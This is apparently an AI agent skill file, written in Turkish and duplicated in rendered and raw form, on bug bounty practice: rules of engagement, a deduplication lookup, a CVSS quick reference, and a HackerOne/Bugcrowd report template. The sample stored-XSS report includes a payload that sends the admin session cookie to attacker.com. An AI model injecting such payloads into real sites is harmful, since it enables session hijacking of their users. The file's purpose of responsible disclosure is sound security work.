pentest-bugbounty
Bug bounty avlama disiplini — sadece yetkili programlar, ROE'ye sadakat, dedupe, kaliteli rapor.
Triggers
- "H1 raporu yazalim"
- "Bugcrowd submission"
- "CVSS skoru hesapla"
- "dedup nasil yapilir"
- "bounty rapor sablonu"
Program Secimi Kriterleri
| Faktor |
Etki |
| Scope genisligi (*.target.com vs sadece app) |
Saldiri yuzeyi |
| Bounty range (min-max) |
ROI |
| Response SLA (gun cinsinden) |
Sabir |
| Disclosure policy (public/private) |
Portfolio buyumesi |
| Safe Harbor (yasal koruma) |
Risk |
| Researcher rating gerekli mi (private prog) |
Erisilebilirlik |
Onerilen baslangic: VDP (vulnerability disclosure program) -> public bounty -> private invitation.
Ne YAPMAYIN (Program Ihlali)
- Scope disi varlik test (her zaman ban + yasal risk)
- Production data exfil > kanit eshiti
- Otomatik scan vendor onaylamadan
- DoS / load test
- Sosyal muhendislik calisanlara (cogunlukla yasak)
- Brute force (cogunlukla yasak)
- Public disclosure musteri onayindan once
Dedup Stratejisi
Submission'dan once:
# H1 hacktivity
curl 'https://hackerone.com/<program>/hacktivity' | jq '.results[] | select(.title | contains("<finding-keyword>"))'
# Bugcrowd public submissions
# Program sayfasinda search
Eger ayni zafiyet tipi + ayni endpoint -> duplicate riski, baska program dene.
CVSS 3.1 Hizli Hesap
Base = Impact + Exploitability
Impact (CIA):
C/I/A: None=0, Low=0.22, High=0.56
Exploitability:
AV: Network=0.85, Adjacent=0.62, Local=0.55, Physical=0.2
AC: Low=0.77, High=0.44
PR: None=0.85, Low=0.62, High=0.27
UI: None=0.85, Required=0.62
Web exploit ornegi:
- SQLi (authenticated, network, low complexity, low priv, no UI, high CIA)
- AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (HIGH)
Rapor Sablonu (H1 / Bugcrowd ortak)
## Title
[CRITICAL] Stored XSS in admin panel allows session hijack of all admins
## Severity
CVSS 3.1: 9.0 (CRITICAL)
Vector: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
## Summary
Authenticated low-priv user can inject JS into the comment field that
executes in admin browser when viewing dashboard. Session token is
exfiltrated to attacker-controlled domain.
## Steps to Reproduce
1. Login as low-privilege user (user@example.com / Test123!)
2. Navigate to /comments
3. Submit comment body: `<img src=x
4. As admin, navigate to /admin/comments
5. Observe outbound request to attacker.com containing admin session cookie
## Impact
- Full admin compromise (session hijack)
- Persistent payload (stored DB)
- 1-click via existing admin workflow (no extra interaction)
## Proof of Concept
[screenshot1.png] — comment submission
[screenshot2.png] — admin browser request
[burp-export.har] — full HAR file
## Suggested Fix
- Server-side sanitize comment body (DOMPurify on save, not on render)
- CSP: `default-src 'self'; img-src 'self' data:`
- Cookie: `HttpOnly` + `Secure` + `SameSite=Strict`
## Additional Context
- Affected version: 4.2.1 (production as of 2026-05-15)
- Tested on: Chrome 119, Firefox 120
- No public PoC, no CVE assigned
Triage Karsiti Hazirlik
Programa report'tan sonra triagecinin atip sorusabilecekleri:
| Soru |
Hazirlikli Olun |
| "Reproduce edemiyoruz" |
Video kayit ekle, browser/OS belirt |
| "User input limit yok zaten" |
Real impact (admin session) demonstrasyonu |
| "Bu duplicate, sok N sundu" |
Talep ettiginiz farkli endpoint / dedup linki |
| "Self-XSS sayariz" |
Multi-user etkisini kanit |
Bounty Maksimizasyon
- Chain bug: Low + Low + Med -> Critical chain (premium payout)
- Out-of-band: DNS, email, time-based POC (zor reproduce -> kalite puani)
- Detection bypass: WAF / CSP bypass kanit
- Multi-domain impact: Birden cok asset etkilenirse explicit ekle
Out-of-Scope
- Otomatik dedup tool composer'i (insan kararı)
- Sosyal muhendislik calisanlara
- Yasakli teknik kullanma (DoS, brute force)
1---
2name: pentest-bugbounty
3description: Bug bounty methodology — HackerOne/Bugcrowd/Intigriti, deduplication, rapor yazimi, severity scoring, payout maksimizasyonu advisory. Triggers on bug bounty, HackerOne, Bugcrowd, Intigriti, H1, BB, dedup, severity, CVSS scoring, bug report writing, triage.
4license: MIT
5compatibility: Works with Claude Code
6allowed-tools: Read Write Edit Bash Grep
7metadata:
8 source: https://skillmd.com/skills/aibot88/pentest-bugbounty
9 author: badi
10 badi-version: ">=1.24.0"
11 category: pentest
12 scope: advisory
13 inspired-by: 0xSteph/pentest-ai-agents bug-bounty
14---
15
16# pentest-bugbounty
17
18Bug bounty avlama disiplini — sadece yetkili programlar, ROE'ye sadakat, dedupe, kaliteli rapor.
19
20## Triggers
21
22- "H1 raporu yazalim"
23- "Bugcrowd submission"
24- "CVSS skoru hesapla"
25- "dedup nasil yapilir"
26- "bounty rapor sablonu"
27
28## Program Secimi Kriterleri
29
30| Faktor | Etki |
31|--------|------|
32| Scope genisligi (*.target.com vs sadece app) | Saldiri yuzeyi |
33| Bounty range (min-max) | ROI |
34| Response SLA (gun cinsinden) | Sabir |
35| Disclosure policy (public/private) | Portfolio buyumesi |
36| Safe Harbor (yasal koruma) | Risk |
37| Researcher rating gerekli mi (private prog) | Erisilebilirlik |
38
39**Onerilen baslangic**: VDP (vulnerability disclosure program) -> public bounty -> private invitation.
40
41## Ne YAPMAYIN (Program Ihlali)
42
43- Scope disi varlik test (her zaman ban + yasal risk)
44- Production data exfil > kanit eshiti
45- Otomatik scan vendor onaylamadan
46- DoS / load test
47- Sosyal muhendislik calisanlara (cogunlukla yasak)
48- Brute force (cogunlukla yasak)
49- Public disclosure musteri onayindan once
50
51## Dedup Stratejisi
52
53Submission'dan once:
54
55```bash
56# H1 hacktivity
57curl 'https://hackerone.com/<program>/hacktivity' | jq '.results[] | select(.title | contains("<finding-keyword>"))'
58
59# Bugcrowd public submissions
60# Program sayfasinda search
61```
62
63Eger ayni zafiyet tipi + ayni endpoint -> **duplicate riski**, baska program dene.
64
65## CVSS 3.1 Hizli Hesap
66
67```
68Base = Impact + Exploitability
69
70Impact (CIA):
71 C/I/A: None=0, Low=0.22, High=0.56
72
73Exploitability:
74 AV: Network=0.85, Adjacent=0.62, Local=0.55, Physical=0.2
75 AC: Low=0.77, High=0.44
76 PR: None=0.85, Low=0.62, High=0.27
77 UI: None=0.85, Required=0.62
78```
79
80Web exploit ornegi:
81- SQLi (authenticated, network, low complexity, low priv, no UI, high CIA)
82 - AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = **8.8 (HIGH)**
83
84## Rapor Sablonu (H1 / Bugcrowd ortak)
85
86```markdown
87## Title
88[CRITICAL] Stored XSS in admin panel allows session hijack of all admins
89
90## Severity
91CVSS 3.1: 9.0 (CRITICAL)
92Vector: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
93
94## Summary
95Authenticated low-priv user can inject JS into the comment field that
96executes in admin browser when viewing dashboard. Session token is
97exfiltrated to attacker-controlled domain.
98
99## Steps to Reproduce
1001. Login as low-privilege user (user@example.com / Test123!)
1012. Navigate to /comments
1023. Submit comment body: `<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">`
1034. As admin, navigate to /admin/comments
1045. Observe outbound request to attacker.com containing admin session cookie
105
106## Impact
107- Full admin compromise (session hijack)
108- Persistent payload (stored DB)
109- 1-click via existing admin workflow (no extra interaction)
110
111## Proof of Concept
112[screenshot1.png] — comment submission
113[screenshot2.png] — admin browser request
114[burp-export.har] — full HAR file
115
116## Suggested Fix
117- Server-side sanitize comment body (DOMPurify on save, not on render)
118- CSP: `default-src 'self'; img-src 'self' data:`
119- Cookie: `HttpOnly` + `Secure` + `SameSite=Strict`
120
121## Additional Context
122- Affected version: 4.2.1 (production as of 2026-05-15)
123- Tested on: Chrome 119, Firefox 120
124- No public PoC, no CVE assigned
125```
126
127## Triage Karsiti Hazirlik
128
129Programa report'tan sonra triagecinin atip sorusabilecekleri:
130
131| Soru | Hazirlikli Olun |
132|------|-----------------|
133| "Reproduce edemiyoruz" | Video kayit ekle, browser/OS belirt |
134| "User input limit yok zaten" | Real impact (admin session) demonstrasyonu |
135| "Bu duplicate, sok N sundu" | Talep ettiginiz farkli endpoint / dedup linki |
136| "Self-XSS sayariz" | Multi-user etkisini kanit |
137
138## Bounty Maksimizasyon
139
140- **Chain bug**: Low + Low + Med -> Critical chain (premium payout)
141- **Out-of-band**: DNS, email, time-based POC (zor reproduce -> kalite puani)
142- **Detection bypass**: WAF / CSP bypass kanit
143- **Multi-domain impact**: Birden cok asset etkilenirse explicit ekle
144
145## Out-of-Scope
146
147- Otomatik dedup tool composer'i (insan kararı)
148- Sosyal muhendislik calisanlara
149- Yasakli teknik kullanma (DoS, brute force)